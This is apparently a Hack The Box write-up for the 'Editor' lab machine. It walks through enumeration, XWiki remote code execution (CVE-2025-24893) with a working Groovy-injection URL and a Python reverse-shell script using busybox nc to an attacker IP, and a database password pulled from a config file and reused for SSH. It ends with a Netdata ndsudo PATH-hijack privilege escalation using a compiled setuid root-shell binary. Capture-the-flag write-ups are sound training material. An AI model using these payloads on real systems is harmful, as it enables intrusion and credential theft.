Editor [Easy]
Editor HTB Season 8
Machine information
Author: kavigihan & TheCyberGeek
Services may take up to 5 minutes to load.
Enumeration
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
└─$ sudo nmap -Pn -sC -sV 10.129.254.56
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 06:14 EDT
Nmap scan report for 10.129.254.56
Host is up (0.48s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open http Jetty 10.0.20
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.129.254.56:8080/xwiki/bin/view/Main/
| http-cookie-flags:
| /:
| JSESSIONID:
|_ httponly flag not set
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
| http-methods:
|_ Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-open-proxy: Proxy might be redirecting requests
| http-webdav-scan:
| WebDAV type: Unknown
| Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|_ Server Type: Jetty(10.0.20)
|_http-server-header: Jetty(10.0.20)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.01 seconds
Add these to /etc/hosts
file:
1
10.129.254.56 editor.htb
So this machine got port 80
and 8080
open. Gonna check these out.
Web Enumeration
We will go with http://editor.htb
first.
This website was just about code editor, let’s go around the website.
When we scroll down, saw some Quick Links section. Then hover to Documentation and saw that it’s a link to wiki.editor.htb/xwiki/
.
→ Add wiki.editor.htb
to /etc/hosts
file.
1
10.129.254.56 editor.htb wiki.editor.htb
Let’s check out the http://wiki.editor.htb/xwiki/
.
This one is about SimplistCode Pro Wiki for everyone want for simplicity rather than compromising functionality.
So we had go through port 80
, let’s check for port 8080
. But if we recognize in the nmap scan, we can see there is some information related to Jetty
and XWiki
.
1
2
3
8080/tcp open http Jetty 10.0.20
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.129.254.56:8080/xwiki/bin/view/Main/
As expected, if we put http://editor.htb:8080/xwiki/
in the browser, we will get the same page.
Then perfomance some ffuf
to enumerate some directories or hidden files but got nothing interesting.
→ Let’s check the version of this website.
We can see that at the bottom in the page, it shows XWiki Debian 15.10.8
.
→ Checking for vulnerabilities.
CVE-2024-31982 & CVE-2025-24893
Found some resources: XWiki RCE CVE-2024-31982 Exploit and exploit-db.
So here is the summary of the CVE-2024-31982
:
XWiki vulnerability allows unauthorized remote code execution via database search, threatening data integrity and availability across all installations.
We gonna try the script from XWiki RCE CVE-2024-31982 Exploit to see if it works.
1
└─$ python3 exploit.py -u http://wiki.editor.htb -c 'cat /etc/passwd'
Does not get any output. Nothing to worry, let’s move on to exploit-db.
Checking out this one, it assign to CVE-2025-24893
and it execute through SolrSearch endpoint. We can either download from exploit-db or download script from CVE-2025-24893.
1
2
3
4
5
6
7
8
9
10
11
└─$ python3 CVE-2025-24893.py
================================================================================
Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code Execution
Made By Al Baradi Joy
================================================================================
[?] Enter the target URL (without http/https): wiki.editor.htb/xwiki
[!] HTTPS not available, falling back to HTTP.
[✔] Target supports HTTP: http://wiki.editor.htb/xwiki
[+] Sending request to: http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
[✔] Exploit successful! Output received:
<p><?xml version="1.0" encoding="UTF-8"?><br/><rss xmlns:dc="<span class="wikiexternallink"><a class="wikimodel-freestanding" href="http://purl.org/dc/elements/1.1/"><span class="wikigeneratedlinkcontent">http://purl.org/dc/elements/1.1/</span></a></span>" version="2.0"><br/> <channel><br/> <title>RSS feed for search on [}}}root:x:0:0:root:/root:/bin/bash<br/>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br/>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br/>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br/>sync:x:4:65534:sync:/bin:/bin/sync<br/>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br/>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br/>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br/>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br/>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br/>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br/>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br/>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br/>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br/>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br/>irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin<br/>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin<br/>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br/>_apt:x:100:65534::/nonexistent:/usr/sbin/nologin<br/>systemd-network:x:101:102:systemd Network Management<sub>,:/run/systemd:/usr/sbin/nologin<br/>systemd-resolve:x:102:103:systemd Resolver</sub>,:/run/systemd:/usr/sbin/nologin<br/>messagebus:x:103:104::/nonexistent:/usr/sbin/nologin<br/>systemd-timesync:x:104:105:systemd Time Synchronization<sub>,:/run/systemd:/usr/sbin/nologin<br/>pollinate:x:105:1::/var/cache/pollinate:/bin/false<br/>sshd:x:106:65534::/run/sshd:/usr/sbin/nologin<br/>syslog:x:107:113::/home/syslog:/usr/sbin/nologin<br/>uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin<br/>tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin<br/>tss:x:110:116:TPM software stack</sub>,:/var/lib/tpm:/bin/false<br/>landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin<br/>fwupd-refresh:x:112:118:fwupd-refresh user<sub>,:/run/systemd:/usr/sbin/nologin<br/>usbmux:x:113:46:usbmux daemon</sub>,:/var/lib/usbmux:/usr/sbin/nologin<br/>lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false<br/>dnsmasq:x:114:65534:dnsmasq<sub>,:/var/lib/misc:/usr/sbin/nologin<br/>mysql:x:115:121:MySQL Server</sub>,:/nonexistent:/bin/false<br/>tomcat:x:998:998:Apache Tomcat:/var/lib/tomcat:/usr/sbin/nologin<br/>xwiki:x:997:997:XWiki:/var/lib/xwiki:/usr/sbin/nologin<br/>netdata:x:996:999:netdata:/opt/netdata:/usr/sbin/nologin<br/>oliver:x:1000:1000:<sub>,:/home/oliver:/bin/bash<br/>_laurel:x:995:995::/var/log/laurel:/bin/false</sub>]</title><br/> <link><span class="wikiexternallink"><a class="wikimodel-freestanding" href="http://wiki.editor.htb:80/xwiki/bin/view/Main/SolrSearch?text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22cat%20%2Fetc%2Fpasswd%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"><span class="wikigeneratedlinkcontent">http://wiki.editor.htb:80/xwiki/bin/view/Main/SolrSearch?text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22cat%20%2Fetc%2Fpasswd%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D</span></a></span></link><br/> <description>RSS feed for search on [}}}root:x:0:0:root:/root:/bin/bash<br/>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br/>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br/>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br/>sync:x:4:65534:sync:/bin:/bin/sync<br/>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br/>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br/>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br/>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br/>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br/>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br/>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br/>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br/>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br/>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br/>irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin<br/>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin<br/>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br/>_apt:x:100:65534::/nonexistent:/usr/sbin/nologin<br/>systemd-network:x:101:102:systemd Network Management<sub>,:/run/systemd:/usr/sbin/nologin<br/>systemd-resolve:x:102:103:systemd Resolver</sub>,:/run/systemd:/usr/sbin/nologin<br/>messagebus:x:103:104::/nonexistent:/usr/sbin/nologin<br/>systemd-timesync:x:104:105:systemd Time Synchronization<sub>,:/run/systemd:/usr/sbin/nologin<br/>pollinate:x:105:1::/var/cache/pollinate:/bin/false<br/>sshd:x:106:65534::/run/sshd:/usr/sbin/nologin<br/>syslog:x:107:113::/home/syslog:/usr/sbin/nologin<br/>uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin<br/>tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin<br/>tss:x:110:116:TPM software stack</sub>,:/var/lib/tpm:/bin/false<br/>landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin<br/>fwupd-refresh:x:112:118:fwupd-refresh user<sub>,:/run/systemd:/usr/sbin/nologin<br/>usbmux:x:113:46:usbmux daemon</sub>,:/var/lib/usbmux:/usr/sbin/nologin<br/>lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false<br/>dnsmasq:x:114:65534:dnsmasq<sub>,:/var/lib/misc:/usr/sbin/nologin<br/>mysql:x:115:121:MySQL Server</sub>,:/nonexistent:/bin/false<br/>tomcat:x:998:998:Apache Tomcat:/var/lib/tomcat:/usr/sbin/nologin<br/>xwiki:x:997:997:XWiki:/var/lib/xwiki:/usr/sbin/nologin<br/>netdata:x:996:999:netdata:/opt/netdata:/usr/sbin/nologin<br/>oliver:x:1000:1000:<sub>,:/home/oliver:/bin/bash<br/>_laurel:x:995:995::/var/log/laurel:/bin/false</sub>]</description><br/> <language>en</language><br/> <copyright /><br/> <dc:creator>XWiki</dc:creator><br/> <dc:language>en</dc:language><br/> <dc:rights /><br/> </channel><br/></rss></p><div class="wikimodel-emptyline"></div><div class="wikimodel-emptyline"></div>
BOOM! We got the output. From here some questions will come into our mind that How to identify SolrSearch endpoint?
→ Search for the CVE-2025-24893
and found out this blog from Offensive Security talk deep about this exploit.
We saw a click from the output, let’s check it out.
1
http://wiki.editor.htb:80/xwiki/bin/view/Main/SolrSearch?text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22cat%20%2Fetc%2Fpasswd%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
So to able to get the reverse shell, we need to modified the payload cat /etc/passwd
.
We gonna change to busybox nc 10.10.16.31 3333 -e /bin/sh
and get the reverse shell.
The reason why using busybox instead of nc
:
- Single executable containing implementations of many common Unix utilities
- Space-efficient alternative to GNU coreutils, util-linux, etc.
- Designed for embedded systems where space and memory are limited
- Self-contained - one binary provides hundreds of commands
And also
nc
sometimes are available and not available but also usingnc
alone may failed for some situation. To know more about busybox → Check out this blog.
Now start the listener in our kali machine, we gonna use penelope -p 3333
to get the reverse shell.
1
2
3
└─$ penelope -p 3333
[+] Listening for reverse shells on 0.0.0.0:3333 → 127.0.0.1 • 172.xx.xx.xx • 172.xx.xx.xx • 10.10.16.31
- 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
After change the payload, we need to click the click in order to trigger the process.
1
2
3
4
5
6
7
8
9
10
11
└─$ penelope -p 3333
[+] Listening for reverse shells on 0.0.0.0:3333 → 127.0.0.1 • 172.xxx.xx.xx • 172.xx.xx.xx • 10.10.16.31
- 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from editor~10.129.254.78-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Got reverse shell from editor~10.129.254.78-Linux-x86_64 😍 Assigned SessionID <2>
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/kali/.penelope/editor~10.129.254.78-Linux-x86_64/2025_08_03-23_06_47-487.log 📜
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
xwiki@editor:/usr/lib/xwiki-jetty$
Got connection back as xwiki
user.
Either we can craft our own script to automated so that we just run and check our listener.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests
from html import unescape
def detect_protocol(domain):
"""Try to connect via HTTPS first, fallback to HTTP if unavailable."""
https_url = f"https://{domain}"
http_url = f"http://{domain}"
try:
response = requests.get(https_url, timeout=5, allow_redirects=True)
if response.status_code < 400:
print(f"[✔] HTTPS available: {https_url}")
return https_url
except:
print("[!] HTTPS not available. Falling back to HTTP.")
try:
response = requests.get(http_url, timeout=5, allow_redirects=True)
if response.status_code < 400:
print(f"[✔] HTTP available: {http_url}")
return http_url
except:
print("[✖] Unable to reach target.")
exit(1)
def send_direct_revshell(target_url, lhost, lport):
"""Send reverse shell payload using Groovy RCE with BusyBox."""
print(f"[+] Sending direct reverse shell via busybox to {lhost}:{lport} ...")
# BusyBox reverse shell command
cmd = f"busybox nc {lhost} {lport} -e /bin/sh"
encoded_cmd = cmd.replace('"','\\"')
# Construct malicious URL with Groovy payload
payload_url = (
f"{target_url}/bin/get/Main/SolrSearch?media=rss&text="
f"%7D%7D%7D%7B%7Basync%20async=false%7D%7D"
f"%7B%7Bgroovy%7D%7D\"{encoded_cmd}\".execute()%7B%7B/groovy%7D%7D"
f"%7B%7B/async%7D%7D"
)
try:
requests.get(payload_url, timeout=5)
except requests.exceptions.RequestException:
pass
if __name__ == "__main__":
print("=" * 80)
print("XWiki CVE-2024-31982 - Direct Reverse Shell via BusyBox")
print("=" * 80)
target = "editor.htb:8080/xwiki"
lhost = "10.10.16.31" # Change this to attacker ip
lport = "3333"
target_url = detect_protocol(target)
send_direct_revshell(target_url, lhost, lport)
print("[✔] Payload sent. Check your listener.")
1
2
3
4
5
6
7
8
└─$ python3 exploit.py
================================================================================
XWiki CVE-2024-31982 - Direct Reverse Shell via BusyBox
================================================================================
[!] HTTPS not available. Falling back to HTTP.
[✔] HTTP available: http://editor.htb:8080/xwiki
[+] Sending direct reverse shell via busybox to 10.10.16.31:3333 ...
[✔] Payload sent. Check your listener.
After getting inside, we discover there is a nother user oliver
.
1
2
3
4
5
6
xwiki@editor:/home$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Jul 8 08:34 .
drwxr-xr-x 18 root root 4096 Jul 29 11:55 ..
drwxr-x--- 3 oliver oliver 4096 Jul 8 08:34 oliver
xwiki@editor:/home$ cd oliver
There is also other port as well, we gonna check focus on port 3306
for mysql as it may contain some credentials.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
xwiki@editor:/home$ netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8125 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:40585 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:19999 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 127.0.0.1:8079 :::* LISTEN 1125/java
tcp6 0 0 :::8080 :::* LISTEN 1125/java
udp 0 0 127.0.0.1:8125 0.0.0.0:* -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
DB Creds Extraction
Do not know about the mysql work for XWiki so take some time research and found out this XWiki MySQL.
Reading through and found out there is part where we can apply to the machine to see if we can got the credentials.
Let’s check out WEB-INF/hibernate.cfg.xml
and grep
for password
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
xwiki@editor:/usr/lib/xwiki/WEB-INF$ ls -la
total 280
drwxr-xr-x 4 root root 4096 Jul 29 11:48 .
drwxr-xr-x 7 root root 4096 Jul 29 11:46 ..
lrwxrwxrwx 1 root root 16 Mar 27 2024 cache -> /etc/xwiki/cache
drwxr-xr-x 2 root root 4096 Jul 29 11:46 classes
lrwxrwxrwx 1 root root 16 Mar 27 2024 fonts -> /etc/xwiki/fonts
lrwxrwxrwx 1 root root 28 Mar 27 2024 hibernate.cfg.xml -> /etc/xwiki/hibernate.cfg.xml
lrwxrwxrwx 1 root root 41 Mar 27 2024 jboss-deployment-structure.xml -> /etc/xwiki/jboss-deployment-structure.xml
lrwxrwxrwx 1 root root 24 Mar 27 2024 jetty-web.xml -> /etc/xwiki/jetty-web.xml
drwxr-xr-x 2 root root 270336 Jul 29 11:46 lib
lrwxrwxrwx 1 root root 22 Mar 27 2024 observation -> /etc/xwiki/observation
lrwxrwxrwx 1 root root 22 Mar 27 2024 portlet.xml -> /etc/xwiki/portlet.xml
lrwxrwxrwx 1 root root 22 Mar 27 2024 sun-web.xml -> /etc/xwiki/sun-web.xml
lrwxrwxrwx 1 root root 29 Mar 27 2024 version.properties -> /etc/xwiki/version.properties
lrwxrwxrwx 1 root root 18 Mar 27 2024 web.xml -> /etc/xwiki/web.xml
lrwxrwxrwx 1 root root 20 Mar 27 2024 xwiki.cfg -> /etc/xwiki/xwiki.cfg
lrwxrwxrwx 1 root root 28 Mar 27 2024 xwiki-locales.txt -> /etc/xwiki/xwiki-locales.txt
lrwxrwxrwx 1 root root 27 Mar 27 2024 xwiki.properties -> /etc/xwiki/xwiki.properties
1
2
3
4
5
6
7
8
xwiki@editor:/usr/lib/xwiki/WEB-INF$ cat hibernate.cfg.xml | grep -i password
<property name="hibernate.connection.password">theEd1t0rTeam99</property>
<property name="hibernate.connection.password">xwiki</property>
<property name="hibernate.connection.password">xwiki</property>
<property name="hibernate.connection.password"></property>
<property name="hibernate.connection.password">xwiki</property>
<property name="hibernate.connection.password">xwiki</property>
<property name="hibernate.connection.password"></property>
Got the credentials theEd1t0rTeam99
and xwiki
.
→ Gonna try to ssh
to oliver
user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ ssh oliver@editor.htb
oliver@editor.htb's password:
oliver@editor:~$ ls -la
total 28
drwxr-x--- 3 oliver oliver 4096 Jul 8 08:34 .
drwxr-xr-x 3 root root 4096 Jul 8 08:34 ..
lrwxrwxrwx 1 root root 9 Jul 1 19:19 .bash_history -> /dev/null
-rw-r--r-- 1 oliver oliver 220 Jun 13 09:45 .bash_logout
-rw-r--r-- 1 oliver oliver 3771 Jun 13 09:45 .bashrc
drwx------ 2 oliver oliver 4096 Jul 8 08:34 .cache
-rw-r--r-- 1 oliver oliver 807 Jun 13 09:45 .profile
-rw-r----- 1 root oliver 33 Aug 3 09:30 user.txt
oliver@editor:~$ cat user.txt
e0745394ba3b705dc26de4aac8838399
Nailed the oliver
user and got the user.txt
flag as well.
Initial Access
Got into oliver
user, gonna check some basic stuff to escalate to root
.
→ To make the process not missing, we can either use linPEAS or going through this checklist Linux Privilege Escalation Basics.
SUID Binaries
1
2
oliver@editor:~$ id
uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)
We know that oliver
user is in the netdata
group.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
oliver@editor:~$ find / -perm -u=s -type f 2>/dev/null | xargs ls -l
-rwsr-x--- 1 root netdata 965056 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/cgroup-network
-rwsr-x--- 1 root netdata 4261672 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ebpf.plugin
-rwsr-x--- 1 root netdata 81472 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ioping
-rwsr-x--- 1 root netdata 1144224 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/local-listeners
-rwsr-x--- 1 root netdata 200576 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
-rwsr-x--- 1 root netdata 1377624 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/network-viewer.plugin
-rwsr-x--- 1 root netdata 896448 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/nfacct.plugin
-rwsr-xr-x 1 root root 72712 Feb 6 2024 /usr/bin/chfn
-rwsr-xr-x 1 root root 44808 Feb 6 2024 /usr/bin/chsh
-rwsr-xr-x 1 root root 35200 Mar 23 2022 /usr/bin/fusermount3
-rwsr-xr-x 1 root root 72072 Feb 6 2024 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 47488 Apr 9 2024 /usr/bin/mount
-rwsr-xr-x 1 root root 40496 Feb 6 2024 /usr/bin/newgrp
-rwsr-xr-x 1 root root 59976 Feb 6 2024 /usr/bin/passwd
-rwsr-xr-x 1 root root 55680 Apr 9 2024 /usr/bin/su
-rwsr-xr-x 1 root root 232416 Jun 25 12:48 /usr/bin/sudo
-rwsr-xr-x 1 root root 35200 Apr 9 2024 /usr/bin/umount
-rwsr-xr-- 1 root messagebus 35112 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 18736 Feb 26 2022 /usr/libexec/polkit-agent-helper-1
-rwsr-xr-x 1 root root 338536 Apr 11 12:05 /usr/lib/openssh/ssh-keysign
Found some SUID binaries, the one that interested is ndsudo
and this one is owned by root
and can be executed by netdata
group. Luckily, oliver
user is in the netdata
group so we can execute it.
1
-rwsr-x--- 1 root netdata 200576 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
Research on ndsudo
and found this GHSA-pmhq-4cxq-wj93 advisory.
Talk about: ndsudo: local privilege escalation via untrusted search path.
Privilege Escalation
Let’s check out the ndsudo
first.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
oliver@editor:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo -h
ndsudo
(C) Netdata Inc.
A helper to allow Netdata run privileged commands.
--test
print the generated command that will be run, without running it.
--help
print this message.
The following commands are supported:
- Command : nvme-list
Executables: nvme
Parameters : list --output-format=json
- Command : nvme-smart-log
Executables: nvme
Parameters : smart-log --output-format=json
- Command : megacli-disk-info
Executables: megacli MegaCli
Parameters : -LDPDInfo -aAll -NoLog
- Command : megacli-battery-info
Executables: megacli MegaCli
Parameters : -AdpBbuCmd -aAll -NoLog
- Command : arcconf-ld-info
Executables: arcconf
Parameters : GETCONFIG 1 LD
- Command : arcconf-pd-info
Executables: arcconf
Parameters : GETCONFIG 1 PD
The program searches for executables in the system path.
Variables given as are expected on the command line as:
--variable VALUE
VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .
When using these commands, we got this output.
1
2
3
4
5
6
oliver@editor:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo megacli-disk-info
megacli MegaCli : not available in PATH.
oliver@editor:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
oliver@editor:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
nvme : not available in PATH.
So ndsudo
is looking for megacli
or MegaCli
in the PATH
. Which means that we can leverage this point to create a malicious binary and place it in the PATH
to hijacking the megacli
command.
ndsudo (CVE-2024-32019)
First let’s create a malicious binary named megacli
o our kali machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <unistd.h>
#include <stdlib.h>
int main() {
// Set effective UID and GID to root
setuid(0);
setgid(0);
// Execute interactive bash shell as root
execl("/bin/bash", "bash", "-i", NULL);
return 0;
}
We can check out this allow setuid on shell scripts to know how to allow setuid and compile it.
Then we compile it.
1
└─$ gcc megacli.c -o megacli
Second step, we gonna transfer the binary to the target machine.
1
2
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
On the target machine, we gonna make a /fakebin
directory and place the megacli
binary there.
1
2
3
oliver@editor:~$ mkdir -p ~/fakebin
oliver@editor:~$ wget http://10.10.16.31/megacli -O ~/fakebin/megacli
oliver@editor:~$ chmod +x ~/fakebin/megacli
Then we gonna modify PATH
to prioritize our fake binary.
1
oliver@editor:~$ export PATH=~/fakebin:$PATH
Double check to make sure that the PATH
is modified.
1
2
oliver@editor:~$ echo $PATH
/home/oliver/fakebin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
Now we gonna execute ndsudo
with megacli-disk-info
command.
1
2
3
oliver@editor:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo megacli-disk-info
root@editor:/home/oliver# id
uid=0(root) gid=0(root) groups=0(root),999(netdata),1000(oliver)
Got the root shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@editor:/root# ls -la
total 44
drwx------ 8 root root 4096 Aug 3 09:30 .
drwxr-xr-x 18 root root 4096 Jul 29 11:55 ..
lrwxrwxrwx 1 root root 9 Jul 1 19:19 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwx------ 2 root root 4096 Apr 27 2023 .cache
drwxr-xr-x 2 root root 4096 Jun 19 08:14 .config
drwxr-xr-x 3 root root 4096 Apr 27 2023 .local
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
drwx------ 2 root root 4096 Jun 19 11:30 .ssh
-rw-r----- 1 root root 33 Aug 3 09:30 root.txt
drwxr-xr-x 2 root root 4096 Jun 19 08:14 scripts
drwx------ 3 root root 4096 Apr 27 2023 snap
root@editor:/root# cat root.txt
8aa9be1eb649248376cd54fc5c98c43d
Ta-da! Got the root.txt
flag.
The flows of the exploitation:
ndsudo
searchesPATH
formegacli
orMegaCli
- Our directory comes first in modified
PATH
- Our malicious binary executes instead of real
megacli
- SUID bit ensures execution as root
setuid(0)
+execl()
gives us root shell
Some bonus discovery of some ports:
Start with port 19999
. Use ssh port forwarding and access to 127.0.0.1:19999
.
1
└─$ ssh -L 19999:127.0.0.1:19999 oliver@editor.htb
Look like a monitor dashboard for netdata, pretty cool!. And the other port, checking and seem not getting response so we just leave it.